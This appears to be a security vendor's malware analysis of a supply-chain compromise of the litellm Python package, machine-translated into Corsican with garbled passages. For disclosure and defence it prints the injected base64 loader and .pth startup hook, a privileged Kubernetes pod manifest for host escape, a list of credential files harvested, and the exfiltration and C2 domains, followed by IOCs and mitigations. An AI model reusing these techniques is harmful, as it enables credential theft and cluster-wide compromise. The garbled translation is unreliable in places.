Perchè Questa Materia
U 24 di marzu di u 2026, u pupulare pacchettu Python litellm, una passerella proxy LLM universale aduprata da millaie di enterprises per indirizzà u trafficu trà l'applicazioni è i fornitori di IA cum'è OpenAI, Anthropic, Google è AWS Bedrock, hè statu compromessu in silenziu nantu à PyPI. Dui versioni avvelenate (1.82.7 è 1.82.8) sò state publicate à 13 minuti l'una da l'altra, purtendu un payload multi-stadio chì arrubava credenziali, esfiltrava secreti di u cloud, si sparghjia lateralmente in i cluster Kubernetes è stallava una backdoor persistente cù capacità di esecuzione di codice remota.
Cù apprusamenti 3.6 milioni di scaricamenti à ghjornu è un implementazione prufonda in l'infrastruttura IA nativa di u cloud, litellm si trova à u crucivia di tuttu ciò chì l'attaccanti muderni desideranu: chjave API per ogni principale fornitore di IA, credenziali IAM cloud, sicreti Kubernetes è chjave SSH.
Ma u compromessu di u litellm ùn hè statu un avvenimentu isulatu. Hè statu u culmine di un campagna di cinque ghjorni, cinque ecosistemi da un attore di minaccia cunnisciutu cum'è TeamPCP, una campagna chì hà prima avvelenatu i scanner di sicurezza (Aqua Trivy, Checkmarx KICS), dopu hà utilizatu u rubatu CI/CD credenziali per trasmette in cascata in npm, OpenVSX, è infine PyPI. L'attaccanti anu trasfurmatu in arma i stessi strumenti nantu à i quali l'urganisazioni si basanu per prutege e so catene di furnimentu.
Questu attaccu rapprisenta un cambiamentu radicale in a sofisticazione di e minacce di a catena di furnimentu. U cuncepimentu multi-hop, cross-ecosystem, compromette l'arnesi di sicurezza per ghjunghje à un valore elevatu. Infrastruttura di l'IA, riflette un livellu di pianificazione è di maturità operativa coerente cù strumenti d'attaccu sempre più cummercializati. I carichi utili sò stati iterati in tempu reale (trè varianti di payload appariscenu in u codice surghjente, cumprese e versioni precedenti cummentate), l'infrastruttura C2 hè stata registrata u ghjornu prima di l'attaccu, è i duminii di esfiltrazione sò stati scelti cù cura per imità l'infrastruttura legittima di u venditore. U raccoglitore di credenziali sistematicamente cumpletu, chì copre più di 15 categurie, cumpresi obiettivi di nicchia cum'è e chjave di firma Cardano è e cunfigurazioni WireGuard, suggerisce un gradu di cumpletezza chì indica u sviluppu di malware assistitu da l'IA cum'è un multiplicatore di forza.
Timeline
| Data (UTC) | Event |
|---|---|
| March 19 | TeamPCP cumprumisce i tag d'azione GitHub di Aqua Trivy, rimpiazzenduli cù codice maliziosu chì esfiltra. CI/CD sicreti da i repositori à valle |
| March 21 | U cumprumissu si stende à Checkmarx KICS è AST GitHub Actions aduprendu tecniche simili |
| 22 di marzu, 06:35 | BerriAI publica litellm 1.82.6 (ultima versione pulita) via normale CI/CD pipeline chì usa Trivy per a scansione di sicurezza |
| March 23 | TeamPCP registra models.litellm.cloud (duminiu di esfiltrazione). Cumprummette più di 66 pacchetti npm è estensioni OpenVSX. |
| 24 di marzu, 10:39 | litellm 1.82.7 publicatu in PyPI -- carica utile iniettata in proxy_server.py à u scopu di u modulu. Esegue à l'impurtazione |
| 24 di marzu, 10:52 | litellm 1.82.8 publicatu 13 minuti dopu -- aghjusta litellm_init.pth, un hook di cunfigurazione di percorsu Python chì si esegue à ogni avviu di l'interprete Python, micca solu à l'impurtazioni di litellm. Mostra una rapida iterazione di u payload. |
| 24 di marzu, ~16:00 | PyPI elimina e duie versioni dopu à i rapporti di a cumunità. E versioni sò cumpletamente sguassate (micca strappate) da l'indice, ancu s'è i tarball CDN restanu accessibili. |
Finestra di esposizione: circa 5.5 ore. Durante questu tempu, qualsiasi pip install litellm, pip install --upgrade litellm, o CI/CD pipeline Tirà l'ultima versione averia eseguitu u payload.
Cumu hè entratu u malware: U compromessu in cascata
U pacchettu litellm ùn hè statu micca violatu direttamente. L'attaccante ci hè ghjuntu per mezu di un attaccu à a catena di furnimentu à dui salti:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline hà utilizatu Trivy cum'è scanner di sicurezza - u strumentu stessu cuncipitu per catturà e vulnerabilità era ellu stessu u vettore d'attaccu. Perchè u pipeline hà riferitu Trivy per tag mutabile piuttostu chè un appuntatu commit SHA, l'azione cumprumessa hè stata eseguita automaticamente. L'azione maligna di Trivy hà esfiltratu i sicreti di l'ambiente, cumpresi PYPI_PUBLISH gettone, dendu à TeamPCP accessu direttu à a publicazione di u prugettu litellm PyPI.
Sta strategia di "cumprumette e guardie" hè una caratteristica di a campagna TeamPCP. Cuncentrandosi prima nantu à i strumenti di sicurezza (Trivy, Checkmarx KICS), l'attaccanti anu simultaneamente disattivatu a rilevazione è ottenutu un accessu privilegiatu à e catene di furnimentu à valle.
Analisi tecnica: u caricu utile
Punti d'iniezione
Version 1.82.7 — Esecuzione à livellu di modulu in litellm/proxy/proxy_server.py (linea 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Stu codice si trova à u scopu di u modulu trà un literale di dizziunariu è l'uriginale. showwarning() funzione. Si esegue subitu quandu litellm.proxy.proxy_server hè impurtatu - ciò chì accade à ogni usu di a funzionalità proxy di litellm.
Version 1.82.8 - Aggiuntu litellm_init.pth (File di cunfigurazione di u percorsu Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) pitone .pth schedarii in site-packages/ sò trattati à ogni avviu di l'interprete, ma solu e linee chì cumincianu cù import sò eseguiti cum'è codice. L'attaccante sfrutta questu cuncatenendu tuttu u payload nantu à un unicu import dichjarazione: import os, subprocess, sys; subprocess.Popen(...)Questu hè assai più aggressivu chè l'iniezione proxy_server.py - si attiva ancu s'è litellm ùn hè mai impurtatu, à ogni lanciu di prucessu Python. U pyproject.toml hè statu mudificatu per include stu schedariu in a distribuzione:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] A versione 1.82.8 hà dunque dui percorsi d'esecuzione indipendentiL'iniezione proxy_server.py (si attiva à l'impurtazione di proxy litellm) è u schedariu .pth (si attiva à qualsiasi avviu Python). A ridondanza hè di per sè notevule - prutege contr'à a rilevazione o a rimuzione di unu di i percorsi da solu. L'escalazione da u tempu d'impurtazione à l'esecuzione in tempu d'avviu solu 13 minuti dopu à 1.82.7 suggerisce chì l'attaccante stava monitorizendu u successu di u spiegamentu è iterendu rapidamente.
Fase 1: Raccolta cumpleta di credenziali
A scrittura interna decodificata hè un vacuum di credenziali meticulosu. Usa os.walk(), glob.glob(), subprocess.check_output(), è letture dirette di file per scansà tuttu u sistema:
| Catigurìa | Target |
|---|---|
| Riconnessione di u sistema | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; chjave di l'ospite da /etc/ssh/ |
| Nuvola (AWS) | ~/.aws/credentials, ~/.aws/configCredenziali di rolu IMDS via 169.254.169.254; Gestore di Sicreti ListSecretsSSM DescribeParameters |
| Nuvola (GCP) | ~/.config/gcloud/ (recursivu); $GOOGLE_APPLICATION_CREDENTIALS |
| Nuvola (Azzurra) | ~/.azure/ (recursivu); variabili d'ambiente |
| Kubernetes | Gettoni di contu di serviziu; ca.crt; spaziu di nomi; kubectl get secrets --all-namespacestutti i sicreti via l'API di K8 |
| Schedarii d'ambiente | .env, .env.local, .env.production, .env.development, .env.staging — ricerca recursiva (prufundità 6) in tuttu /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Gettoni di pacchettu | ~/.npmrc, ~/.vault-token, ~/.netrc |
| e base | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Configurazioni MongoDB |
| TLS/SSL | Chjavi private da /etc/ssl/private/, Crittemu i certificati, tutti .pem/.key/.p12/.pfx schedari |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Portafogli criptu | Bitcoin, keystore Ethereum, coppie di chjave Solana (validatore, votu, participazione, faucet), chjave di firma Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Storia di Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autentificazione di u sistema | /etc/passwd, /etc/shadow, registri d'autentificazione (sessioni SSH accettate) |
| Chjavi Webhook/API | Grep per u web Slackhooks, Discord webhooks, Chjavi/sicreti API in i fugliali di cunfigurazione |
| VPN | Configurazioni di WireGuard da /etc/wireguard/ |
U scopu di questu harvester hè enciclopedicu. Ùn si rivolge micca solu à e credenziali di u cloud, ma ancu à i portafogli di criptovalute, e password di e basi di dati, e cunfigurazioni VPN è CI/CD sicreti - chì suggerenu chì l'attaccante hà l'intenzione di monetizà i sistemi compromessi attraversu parechji vettori.
Stage 2: Exfiltration Encrypted
I dati arrubati sò criptati è esfiltrati cù un schema di crittografia ibrida:
- AES-256-CBC crittografia di tutti i dati raccolti cù una chjave di sessione aleatoria di 32 byte (via
openssl enc) - RSA-4096 crittografia di a chjave di sessione aduprendu a chjave publica integrata di l'attaccante (padding OAEP, via
openssl pkeyutl) - Tramindui i fugliali cifrati raggruppati cum'è
tpcp.tar.gz(Utpcpu prefissu — "TeamPCP" — appare in modu coerente in tutta a campagna) - HTTPS POST à
https://models.litellm.cloud/cùContent-Type: application/octet-stream
U duminiu models.litellm.cloud hè statu registratu u 23 di marzu - un ghjornu prima di l'attaccu - è hè cuncipitu per mischjà si cù l'infrastruttura legittima di litellm (u veru prughjettu usa litellm.aiAncu un difensore chì cunnosce a rete è chì rivede u trafficu di uscita ùn puderebbe micca signalà u trafficu versu ciò chì pare esse u puntu finale di u mudellu di litellm.
Fase 3: Backdoor persistente (sysmon.py)
U payload installa una backdoor di polling camuffata da telemetria di u sistema:
- Caminu:
~/.config/sysmon/sysmon.py - Service:
sysmon.service(unità d'utilizatore systemd, descritta cum'è "Serviziu di Telemetria di Sistema") - CumpurtamentuDopu à un sonnu iniziale di 300 secondi, i sondaggi
https://checkmarx.zone/rawogni ~50 minuti - esicuzzioniScarica l'URL restituita da u C2 à
/tmp/pglog, u definisce cum'è eseguibile (chmod 755), l'esegue in una sessione staccata - Seguimentu di u statu:
/tmp/.pg_stateimpedisce di scaricà torna u listessu payload - Persistenza:
Restart=always,RestartSec=10- sopravvive à i crash è i riavvii
U duminiu checkmarx.zone hè un typosquat di Checkmarx (a cumpagnia di sicurezza à checkmarx.com), cuncipitu in modu chì l'analisti SOC chì rivedenu i logs di rete vedenu u trafficu versu ciò chì pare esse un venditore di sicurezza legittimu. Questa hè una tecnica di evasione deliberata coerente cù a strategia più larga di TeamPCP di piattassi daretu à a marca di u venditore di sicurezza.
Fase 3b: Muvimentu Laterale di Kubernetes
Sè u sistema cumprumessu hà credenziali di contu di serviziu Kubernetes, u malware enumera tutti i nodi di u cluster è si implementa. baccelli privilegiati à ognunu:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Ogni capsula:
- Funziona cum'è privilegiatu cù
hostPID,hostNetwork, è accessu cumpletu à u sistema di fugliali di l'ospite - cioccu
chroot /hostper installà u listessusysmon.pybackdoor nant'à u sistema di fugliali root di l'ospite - U registra cum'è un serviziu systemd, assicurendu chì a persistenza sopravvive à a cancellazione di u pod.
- chjamatu
node-setup-*in ukube-systemu spaziu di nomi per apparisce cum'è una infrastruttura di cluster legittima
Questu significa a unicu cumprumessu CI/CD Un corridore cù accessu K8s puderia risultà in u backdoor di ogni nodu in u cluster. — un scenariu catastroficu di muvimentu laterale per l'urganisazioni chì utilizanu litellm cum'è proxy in Kubernetes.
Evoluzione di u Caricu Utile (Varianti Cummentate)
U codice surghjente à e linee 131-132 cuntene duie varianti di payload precedenti cummentate, chì rivelanu u prucessu di sviluppu di l'attaccante:
- Tutte e trè varianti sparte a listessa infrastruttura di esfiltrazione (
models.litellm.cloud), chjave publica RSA-4096, involucru di crittografia ibrida AES-256-CBC + RSA, ètpcp.tar.gzdenominazione di fasci - Varianti precedenti aghjustatu un Stratu di crittografia RC4 in u script di cullezzione di dati, criptendu i dati raccolti prima di u wrapper AES+RSA esternu. U payload attivu (linea 130) hè statu simplificatu eliminendu stu stratu RC4 internu.
- E varianti precedenti utilizanu
exec()cùStringIOcattura per eseguisce u cullettore in prucessu, mentre chì u payload attivu usasubprocess.run()cù reindirizzamentu stdout — una separazione più pulita chì evita di inquinà u prucessu ospitante - Tutte e trè varianti miranu à e stesse categurie di credenziali è percorsi di raccolta.
- A chjave RC4 in e varianti precedenti era un insultu pruvucativu, coerente cù u cumpurtamentu di ricerca d'attenzione di l'attore in Telegram.
Questu palesa un sviluppu attivu durante l'operazione. L'attaccante hà simplificatu a pila di crittografia è hà migliuratu l'isolamentu di l'esecuzione mantenendu stabili i miri di cullezzione è l'infrastruttura di esfiltrazione.
Indicatori di Compromissu (CIO)
Network
| pressure | Type | Fini |
|---|---|---|
models.litellm.cloud | Domain | Puntu finale di esfiltrazione (HTTPS POST) |
checkmarx.zone | Domain | Puntu finale di sondaggio C2 (HTTPS GET /raw) |
Nota: Ligami di segnalazione esterni checkmarx.zone/static/checkmarx-util-1.0.4.tgz à a fase KICS precedente di a campagna TeamPCP. Questa URL ùn hè stata truvata in i payload litellm analizati quì.
Hash di pacchetti
| File | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Sistema di Archiu
| pressure | Type | Fini |
|---|---|---|
~/.config/sysmon/sysmon.py | File | Script di backdoor persistente |
~/.config/systemd/user/sysmon.service | File | Unità di persistenza Systemd |
/tmp/pglog | File | Binariu di seconda tappa telecaricatu |
/tmp/.pg_state | File | Seguimentu di u statu C2 |
litellm_init.pth in site-packages/ | File | Hook di avviamentu Python (solu v1.82.8) |
tpcp.tar.gz | File | Pacchettu di esfiltrazione criptatu |
Kubernetes
| pressure | Type | Fini |
|---|---|---|
node-setup-* baccelli in kube-system | U pudellu | Capsule di muvimentu laterale privilegiate |
sysmon.service nantu à i nodi di u cluster | Service | Persistenza à livellu d'ospite via escape di pod |
Criptografiche
| pressure | Details |
|---|---|
| Attaccante chjave publica RSA-4096 | Impronta digitale SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Integratu in tutte e trè varianti di carica utile; a stessa chjave signalata in altre operazioni di TeamPCP |
tpcp prefissu in artefatti | Cunvenzione di numinazione di i fasci (tpcp.tar.gz) coerente in tutta a campagna |
Attribuzione: TeamPCP
L'attore di minaccia daretu à sta campagna hè tracciatu cum'è TeamPCP, cunnisciutu ancu cum'è PCPcat, Persy_PCP, ShellForce, è DeadCatx3.
Caratteristiche cunnisciute:
- Mantene i canali Telegram à
@Persy_PCPe@teampcpinduve anu burlatu e cumpagnie di sicurezza - Funziona in parechji ecosistemi (GitHub Actions, PyPI, npm, OpenVSX)
- Utilizza duminii typosquat specifichi di u venditore per ogni fase di a campagna (per esempiu,
checkmarx.zoneper Checkmarx,models.litellm.cloudper litellm) - Marcatori d'infrastruttura coerenti: listessa coppia di chjave RSA,
tpcp.tar.gzcunvenzione di denominazione,tpcp-docs-*I repositori GitHub sò aduprati cum'è staging dead-drop - Mira à i strumenti di sicurezza cum'è punti d'entrata à e catene di furnimentu à valle
Fiducia in l'attribuzioneAltu. A chjave publica RSA spartuta, tpcp A numinazione di l'artefatti, a sovrapposizione di l'infrastruttura C2 è u ritmu operativu in tutta a campagna di cinque ghjorni liganu strettamente i compromessi Trivy, KICS, npm, OpenVSX è litellm à u listessu attore.
MotivazioneProbabilmente finanziariu (furtu di portafogli crittografici, monetizazione di credenziali in u cloud) cumminatu cù a nutorietà (schernu di Telegram). L'ampiezza di a raccolta di credenziali - da AWS IAM à e coppie di chjave di validatore Solana à e cunfigurazioni WireGuard - suggerisce un attore motivatu finanziariamente chì cerca di massimizà u ROI da ogni compromessu.
Possibile assistenza di l'IAU raccoglitore di credenziali hè sistematicamente cumpletu - più di 15 categurie cumprese obiettivi di nicchia cum'è e chjave di firma Cardano, e cunfigurazioni WireGuard è e credenziali Kaniko Docker - in un modu chì hè coerente cù l'enumerazione assistita da l'IA. A velocità di l'iterazione di u payload (trè varianti cù diversi schemi di crittografia), a coordinazione interecosistema (5 ecosistemi in 5 ghjorni) è l'OPSEC operativu (duminii chì impersonanu u venditore, crittografia ibrida, persistenza systemd mascherata da telemetria) suggerenu un livellu di rendimentu chì pò riflette u sviluppu assistitu da l'IA cum'è un multiplicatore di forza. Questa valutazione hè speculativa; l'operatori qualificati puderanu ottene una portata simile senza strumenti IA.
Novi TTP è Tecniche
1. Avvelenamentu di a catena di furnimentu di strumenti di sicurezza (variante T1195.002)
Cumprummette i scanner di sicurezza (Trivy, KICS) cum'è primu passu per ghjunghje à obiettivi à valle hè una nova escalation. L'attaccante ùn hà micca solu cumprumessu una biblioteca - hà cumprumessu l'arnesi chì l'urganisazioni utilizanu per detectar biblioteche cumprumesse. Questu crea un puntu cecu: u scanner chì duveria catturà u codice maliziosu hè ellu stessu u mecanismu di consegna.
2 Python .pth Persistenza di i fugliali (T1546)
lu litellm_init.pth A tecnica in v1.82.8 hè particularmente insidiosa. Python .pth schedarii in site-packages/ sò trattati à ogni avviu di l'interprete; ogni linea chì principia cù import hè eseguitu cum'è codice. Cuncatenendu u payload nantu à un unicu import dichjarazione, l'attaccante riesce à ottene l'esecuzione in ogni prucessu Python - micca solu quandu litellm hè impurtatu. Questu significa chì u payload si attiva ancu se litellm hè installatu ma mai utilizatu, è sopravvive à a riparazione chì rimpiazza u compromessu. .py i schedari senza verificà .pth i schedari.
3. Muvimentu Laterale à Livello di Cluster Kubernetes via Distribuzione di Pod Privilegiati (T1610, T1611)
A creazione automatizata di pod privilegiati nantu à ogni nodu di cluster - cù hostPID, hostNetwork, muntatura di u sistema di fugliali ospitante, è chroot per installà a persistenza - concatena a distribuzione di container (T1610) cù escape to host (T1611) per trasfurmà un unicu caricu di travagliu cumprumessu in una cumprumissione cumpleta di u cluster.
4. Infrastruttura C2 chì impersona u venditore
Praticà models.litellm.cloud (imita litellm) è checkmarx.zone (imita Checkmarx) cum'è endpoints C2/exfil hè cuncipitu per evità u monitoraghju di a rete. L'analisti SOC chì rivedenu u trafficu di uscita vedenu cunnessione HTTPS à ciò chì parenu esse duminii di venditori legittimi.
5. Iterazione Rapida di u Caricu in Volu
A publicazione di a v1.82.7 cù l'esecuzione à u mumentu di l'impurtazione, dopu a v1.82.8 cù l'esecuzione à u mumentu di l'avviu 13 minuti dopu, mostra l'attaccante chì surveglia è s'adatta in tempu reale. E varianti di u payload cummentate (cù diversi schemi di crittografia) cunservate in u codice surghjente cunfermanu u sviluppu attivu durante l'operazione.
Chì pò esse fattu
Questu attaccu sfrutta a fiducia à ogni livellu: fiducia in i strumenti di sicurezza, fiducia in i registri di pacchetti, fiducia in i duminii chì parenu familiari, fiducia in CI/CD automatizazione. Difende si contr'à ella richiede u rinfurzà ognunu di sti limiti di fiducia:
Per i cunsumatori di pacchetti
- Dipendenze di u pin per hash, micca solu per versione.
pip install litellm==1.82.6 --hash=sha256:...averebbe impeditu l'installazione di e versioni compromesse ancu s'elle sò apparse brevemente cum'è l'ultima versione. - Aduprate i fugliali di serratura.
pip-compile,poetry.lock, euv.lockcatturà versioni esatte è hash. CI/CD duverebbe installà da i lockfiles, micca da i specificatori di versione flottanti. - Monitor per
.pthi schedari. Audit regularesite-packages/per imprevisu.pthi fugliali - si eseguiscenu à ogni avviu di Python è sò un mecanismu di persistenza sottovalutatu. - Implementà cuntrolli di rete di uscita. L'esfiltrazione à
models.litellm.cloudè u sondaggio C2 àcheckmarx.zonepuderia esse statu catturatu da u filtraggio di uscita basatu nantu à a lista di permessi in ambienti di pruduzzione.
Per i Mantenitori di Pacchetti
- Pin CI/CD azzioni di commit SHA, micca etichetta. LiteLLM's pipeline hà utilizatu Trivy senza una versione appuntata. S'ellu avia fattu riferimentu
aquasecurity/trivy-action@<commit-sha>invece di@latest, l'azione cumprumessa ùn saria stata eseguita. - Aduprate gettoni di publicazione di corta durata è cù ambitu. PyPI supporta l'editori di fiducia (basati nantu à OIDC) è i gettoni API cù ambitu. L'esfiltratu
PYPI_PUBLISHU gettone ùn duveria avè avutu un accessu di publicazione senza restrizioni è à longa durata. - Attivate l'autenticazione à dui fattori nantu à PyPI. Richiede 2FA per tutti i mantenitori è aduprate chjave di sicurezza hardware induve pussibule.
- Firmà i pacchetti. L'attestazioni Sigstore/PEP 740 permettenu à i cunsumatori di verificà chì un pacchettu hè statu custruitu da u previstu. CI/CD pipeline, micca da un attaccante cù un gettone arrubatu.
Per l'operatori di piattaforme (PyPI, npm, GitHub)
- Rileva mudelli di publicazione anomali. Dui novi versioni publicati à 13 minuti di distanza, da un IP o un token differente da quellu di solitu, devenu attivà a hold-for-review o a scansione automatica prima chì u pacchettu diventi installabile.
- Accelerà l'adozione di Trusted Publishers. A publicazione basata annantu à OIDC lega i pacchetti à repositori è flussi di travagliu specifici, rendendu i token arrubati inutili fora di l'uriginale. CI/CD cuntestu.
- Implementà a scansione di malware in tempu di publicazione. U payload decodificatu base64 in proxy_server.py saria rilevabile da l'analisi statica à u mumentu di a publicazione.
Per l'Ecosistema
- Trattate l'arnesi di sicurezza cum'è infrastrutture critiche. I KICS di Trivy è Checkmarx sò aduprati da milioni di persone. pipelines. E so Azzioni GitHub devenu esse firmate, appuntate è monitorate cù u listessu rigore cum'è i pacchetti ch'elli scansionanu.
- Investite in a rilevazione in tempu reale. L'analisi statica da sola ùn pò micca catturà ogni tecnica d'offuscazione. Monitoraghju in tempu reale di l'installazione di u pacchettu hooks, cunnessione di rete inaspettate è mudelli d'accessu à i fugliali suspetti furniscenu una difesa in prufundità.
- Sparte l'intelligenza di minacce più rapidamente. A finestra d'esposizione di 5.5 ore per litellm puderia esse stata più corta cù una coordinazione più rapida trà i fornitori. I servizii di scansione automatizati cum'è Xygeni MEW, Socket è Snyk anu rilevatu l'anomalia - u collu di buttiglia hè a cunferma umana è u tempu di risposta di u registru.
cunchiusioni
A campagna TeamPCP hè un mumentu spartiacque per software supply chain securityCumprumettendu prima i scanner di sicurezza è aduprenduli cum'è trampolini di lanciu versu l'infrastruttura di l'IA di altu valore, l'attaccanti anu dimustratu chì a catena di furnimentu hè forte quant'è a so dipendenza transitiva più debule, è chì sta dipendenza puderia esse u strumentu di sicurezza di quale vi fidate per mantene a vostra sicurezza.
U compromessu litellm mette in risaltu in particulare u risicu crescente per l'infrastruttura di l'IA. Mentre i gateway proxy LLM diventanu u standard mudellu per enterprise Implementazione di l'IA, cuncentranu l'accessu à e chjave API, l'infurmazioni d'accessu in u cloud è i dati sensibili in un unicu cumpunente. Cumprumette quellu cumpunente hè una chjave scheletru per tutta a pila di l'IA.
L'urganisazioni chì anu installatu litellm 1.82.7 o 1.82.8 durante a finestra di 5.5 ore devenu trattà questu cum'è un compromessu cumpletu di credenziali: rotà tutti i sicreti nantu à i sistemi affettati, verificà i cluster Kubernetes per node-setup-* baccelli in kube-system, caccià ogni sysmon.service unità di sistema, è verificate per litellm_init.pth in Python site-packages/ repertori. Utilizatori di l'imagine ufficiale di Docker (ghcr.io/berriai/litellm) ùn sò stati affettati, postu chì l'imagine hà appuntatu e so dipendenze è ùn hè stata ricustruita durante a finestra di esposizione.
Prupòsitu di lu Author
Cofundatore è CTO
Luis Rodriguez hè cofundatore è direttore tecnicu di Xygeni Security. Cù più di 20 anni di sperienza in a sicurezza di l'applicazioni, si cuncentra nantu à a prutezzione AppSec è e capacità avanzate d'analisi di codice chì aiutanu e squadre à riduce u risicu reale di consegna.




